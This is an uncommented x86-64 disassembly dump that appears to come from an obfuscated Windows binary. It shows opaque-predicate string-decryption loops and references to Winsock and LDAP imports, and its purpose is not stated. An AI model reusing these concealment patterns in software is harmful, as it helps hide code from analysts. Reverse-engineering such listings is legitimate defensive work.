movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14015cfcb
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14015cff7
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14015cf89
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x14015c9a2
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14015d0b8
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14015cd70
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14015d06a
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x14015ccb3
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x14015cb03
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015ccdf
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14015d18e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015ccfa
movabs rdx, 0x350b794e73a31824
mov ecx, r14d
jmp 0x14015cfcb
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015cd29
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015cf89
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015cd54
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x14015cf5f
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015cb03
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015d092
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015cdb2
movabs rcx, 0xb26331447cfb31c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x14015d06c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015cddc
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x14015cf5d
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015ce0b
movabs rdx, 0x83f5e230bd9d1fb2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015cf89
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015ce36
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x14015cff7
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015cb3f
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x14015d18e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015ce92
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14015d18e
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015cebe
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
add bl, dl
jmp 0x14015d0e0
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015cedb
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x14015cd12
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14015cf0a
movabs rdx, 0xd2e04b1307972740
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015d0b8
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015caa0
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x14015d092
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x840]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0x840], cl
add rdi, r10
jmp 0x14015cff7
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x840]
add bl, dl
add bl, r8b
jmp 0x14015d0e0
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14015cfb2
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14015d19d
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x14015d0b8
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7e
jmp 0x14015d06c
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1e
add r8b, cl
mov byte [rbp + r9 + 0x840], r8b
add r10, rsi
jmp 0x14015d0b8
movabs rdx, 0xc8f30bbaf92f9e22
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
sub r9, rsi
jmp 0x14015d19d
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x840], al
add r10, rsi
add rax, r10
sub r9, rax
jmp 0x14015d13a
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x840], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14015d18e
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x840]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14015c626
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015c623
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015c613
lea rdx, [rbp + 0x15983e8]
jmp 0x14015d20a
lea rdx, [rbp + 0x16dc1a6]
jmp 0x14015d20a
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x1d8]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2c90]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14015d23f
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x2c90]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2c90]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2c90]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0xf10], 0xe3
mov byte [rbp + 0xf11], 0xad
mov byte [rbp + 0xf12], 0xec
mov byte [rbp + 0xf13], 0xab
mov byte [rbp + 0xf14], recv
mov byte [rbp + 0xf15], 0xa9
mov byte [rbp + 0xf16], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xf17], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xf18], 0x3d
mov byte [rbp + 0xf19], __WSAFDIsSet
mov byte [rbp + 0xf1a], r13b
mov byte [rbp + 0xf1b], __WSAFDIsSet
mov byte [rbp + 0xf1c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xf1d], __WSAFDIsSet
mov byte [rbp + 0xf1e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xf1f], 0x9f
mov byte [rbp + 0xf20], 7
mov byte [rbp + 0xf21], 0x9d
mov byte [rbp + 0xf22], 5
mov byte [rbp + 0xf23], 0x9b
mov byte [rbp + 0xf24], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xf25], 0x99
mov byte [rbp + 0xf26], Ordinal_46
mov byte [rbp + 0xf27], 0x87
mov r12d, reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xf28], r12b
mov byte [rbp + 0xf29], 0x85
mov byte [rbp + 0xf2a], Ordinal_217
mov byte [rbp + 0xf2b], 0x83
mov byte [rbp + 0xf2c], 0x3d
mov byte [rbp + 0xf2d], 0x81
mov byte [rbp + 0xf2e], Ordinal_50
mov byte [rbp + 0xf2f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xf30], Ordinal_46
mov byte [rbp + 0xf31], Ordinal_143
mov byte [rbp + 0xf32], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xf33], Ordinal_143
mov byte [rbp + 0xf34], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xf35], Ordinal_143
mov byte [rbp + 0xf36], 0x64
mov byte [rbp + 0xf37], 0xf7
mov byte [rbp + 0xf38], 0x5c
mov byte [rbp + 0xf39], 0xf5
mov byte [rbp + 0xf3a], 0x62
mov byte [rbp + 0xf3b], 0xf3
mov byte [rbp + 0xf3c], 0xaa
mov byte [rbp + 0xf3d], 0xf1
mov byte [rbp + 0xf3e], 0xa2
mov byte [rbp + 0xf3f], 0xff
mov byte [rbp + 0xf40], 0xae
mov byte [rbp + 0xf41], 0xfd
mov byte [rbp + 0xf42], 0x57
mov byte [rbp + 0xf43], 0xfb
mov byte [rbp + 0xf44], 0x60
mov byte [rbp + 0xf45], 0xf9
mov byte [rbp + 0xf46], Ordinal_79
mov byte [rbp + 0xf47], 0xe7
mov byte [rbp + 0xf48], 0xb6
mov byte [rbp + 0xf49], 0xe5
mov byte [rbp + 0xf4a], 0x77
mov byte [rbp + 0xf4b], 0xe3
mov byte [rbp + 0xf4c], 0x7d
mov byte [rbp + 0xf4d], 0xe1
mov byte [rbp + 0xf4e], 0x47
mov byte [rbp + 0xf4f], 0xef
mov byte [rbp + 0xf50], 0xec
mov byte [rbp + 0xf51], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf52], xmm0
mov qword [rbp + 0xf62], rax
mov byte [rbp + 0xf6a], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x14015e028
movzx r8d, byte [rbp + r9 + 0xf10]
mov r11, r8
cmp rdi, r9
ja 0x14015e01f
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14015d4c6
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x4a
jmp 0x14015d500
je 0x14015df99
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015df0c
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14015ded6
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14015de8c
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015de63
cmp r10, r9
ja 0x14015e016
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x14015d526
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x14015d70d
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015de1f
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015ddff
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015dddc
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14015ddb9
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14015daa4
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14015da83
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14015da5d
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14015da3a
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14015da19
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14015da05
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015d9e2
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015d9be
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015d99d
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14015d989
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14015d567
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14015dff3
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14015dfcd
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14015d747
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14015d724
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x14015d6fe
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14015d92e
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14015d8d4
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14015d887
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14015d865
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14015d843
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14015d82f
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14015d80d
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14015d7e7
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14015d7c5
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14015d7b1
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14015d78f
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14015d76d
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14015d567
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x14015d567
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015d55a
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x14015d500
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015d48f
movabs rcx, 0x3079ddf1a6964910
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14015de3d
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14015de81
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x14015dbfc
movabs rcx, 0x5350f17229c7c674
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2c
jmp 0x14015deaa
movabs rdx, 0x5eedf7f25582f040
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015def7
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x54
jmp 0x14015defa
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
jmp 0x14015d9cd
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14015df62
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14015dfb6
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
cmp r10, 0x41
jb 0x14015dd54
movabs rcx, 0xafb7b47749b6ac5c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x14015de3d
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 3
jae 0x14015dd61
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x14015dc9a
movabs rcx, 0x23d9f578ff064e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
jmp 0x14015d8a5
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x14015dd8f
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x14015dbb5
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x14015d8f5
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x14015daeb
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x14015ddd5
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14015dc63
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x14015defa
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14015dee5
movabs rdx, 0x5e6c86f6179887c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14015dea8
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14015de84
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015de81
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x14015de3b
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x14015dad3
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015d94c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015db02
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015dfb6
cmp rdi, rcx
jne 0x14015db2d
movabs rdx, 0xf4e46a7c122f3eac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015df30
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015db57
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14015dd85
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015db82
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14015de84
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015d94c
movabs rdx, 0xbad349fb37876db0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015de81
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015dbe4
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015de3d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015dc13
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015de84
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015dc3e
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x14015def7
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14015dc6a
movabs rdx, 0x4c7f8c399815609e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
add bl, dl
jmp 0x14015df30
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015d8f5
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2a
jmp 0x14015dfb6
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015dcb7
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x14015daeb
cmp rdi, rcx
jne 0x14015dcde
movabs rcx, 0xc9fe878a78ffabc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x14015df62
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015dd09
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14015def7
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015dd26
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14015da6c
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14015d8a5
movabs rdx, 0xbb54baf77571d628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x14015de3b
mov byte [rbp + r9 + 0xf10], bl
jmp 0x14015dfc5
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xf10]
add bl, dl
add bl, r8b
jmp 0x14015deaa
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xf10]
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14015df30
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x14015df62
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x14015defa
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14015de84
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
mov byte [rbp + r9 + 0xf10], cl
jmp 0x14015de81
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
add r10, rsi
sub r9, rsi
jmp 0x14015dfc5
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r8b
add cl, bl
add cl, dl
mov byte [rbp + r9 + 0xf10], cl
jmp 0x14015def7
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14015dfc5
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xf10], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xf10], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14015dfb6
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xf10]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14015d47c
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015d479
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
jmp 0x14015d469
lea rdx, [rbp + 0x1600488]
